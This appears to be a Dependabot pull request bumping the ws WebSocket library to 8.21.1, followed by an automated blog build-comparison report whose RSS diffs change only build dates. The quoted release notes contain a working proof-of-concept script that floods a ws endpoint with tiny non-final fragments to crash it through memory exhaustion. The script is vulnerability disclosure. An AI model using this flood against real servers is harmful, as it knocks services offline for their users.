chore(deps-dev): bump ws from 8.18.0 to 8.21.1

[dependabot]

Bumps ws from 8.18.0 to 8.21.1.

Release notes

Sourced from ws's releases.

8.21.1

Bug fixes

• Empty fragments are now counted toward the limit (a2f4e7c0).
• The default values of the maxBufferedChunks and maxFragments options have been reduced (f197ac65).

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

... (truncated)

Commits

• ae1de54 [dist] 8.21.1
• 8e9511b [ci] Trust Coveralls Homebrew tap
• f197ac6 [fix] Lower default values of maxBufferedChunks and maxFragments
• 8df8265 [ci] Update actions/checkout action to v7
• a2f4e7c [fix] Count empty fragments toward the limit (#2329)
• e79f912 [pkg] Approve install scripts for bufferutil and utf-8-validate
• 4ea355d [doc] Document 32-bit signed integer coercion for option values
• 2120f4c [example] Remove uuid dependency
• 4c534a6 [security] Add latest vulnerability to SECURITY.md
• bca91ad [dist] 8.21.0
• Additional commits viewable in compare view

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[dpobel]

URL: https://1164.damien.pobel.fr

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Enhanced tag page (veille)	Open	Open	8459	8459	✅️
Tag page pagination (javascript, page 5)	Open	Open	10020	10020	✅️
Tag page (lecteur d'écran)	Open	Open	6056	6056	✅️
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CV
CV fr	Open	Open	29484	29484	✅️
CV fr pdf	Open	Open	157360	157360	✅️
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Resized GIF (200x)	Open	Open	22513	22513	✅️
RSS feeds (build date should be updated)
RSS	Open	Open	59700	59700	❌️
RSS tag	Open	Open	46582	46582	❌️
RSS tag fr	Open	Open	38998	38998	❌️

---

Diffs

RSS

--- rss.xml.pretty	2026-07-14 21:49:54.315347335 +0000
+++ ../damien.pobel.fr/web/rss.xml.pretty	2026-07-14 21:49:54.318347331 +0000
@@ -5,7 +5,7 @@
     <description><![CDATA[Derniers posts du blog de Damien Pobel]]></description>
     <link>https://damien.pobel.fr</link>
     <generator>metalsmith-feed</generator>
-    <lastBuildDate>Mon, 11 May 2026 10:18:06 GMT</lastBuildDate>
+    <lastBuildDate>Tue, 14 Jul 2026 21:48:20 GMT</lastBuildDate>
     <atom:link href="https://damien.pobel.fr/rss.xml" rel="self" type="application/rss+xml"/>
     <item>
       <title><![CDATA[React est horrible (React is awful)]]></title>

RSS tag

--- "métier.xml.pretty"	2026-07-14 21:49:55.324346125 +0000
+++ "../damien.pobel.fr/web/rss/métier.xml.pretty"	2026-07-14 21:49:55.326346123 +0000
@@ -5,7 +5,7 @@
     <description><![CDATA[métier]]></description>
     <link>https://damien.pobel.fr</link>
     <generator>metalsmith-feed</generator>
-    <lastBuildDate>Mon, 11 May 2026 10:18:06 GMT</lastBuildDate>
+    <lastBuildDate>Tue, 14 Jul 2026 21:48:20 GMT</lastBuildDate>
     <atom:link href="https://damien.pobel.fr/rss/métier.xml" rel="self" type="application/rss+xml"/>
     <item>
       <title><![CDATA[React est horrible (React is awful)]]></title>

RSS tag fr

--- fr.xml.pretty	2026-07-14 21:49:56.124345168 +0000
+++ ../damien.pobel.fr/web/rss/linux/fr.xml.pretty	2026-07-14 21:49:56.127345164 +0000
@@ -5,7 +5,7 @@
     <description><![CDATA[linux]]></description>
     <link>https://damien.pobel.fr</link>
     <generator>metalsmith-feed</generator>
-    <lastBuildDate>Mon, 11 May 2026 10:18:06 GMT</lastBuildDate>
+    <lastBuildDate>Tue, 14 Jul 2026 21:48:20 GMT</lastBuildDate>
     <atom:link href="https://damien.pobel.fr/rss/linux/fr.xml" rel="self" type="application/rss+xml"/>
     <item>
       <title><![CDATA[Veille de la semaine #19 de 2018]]></title>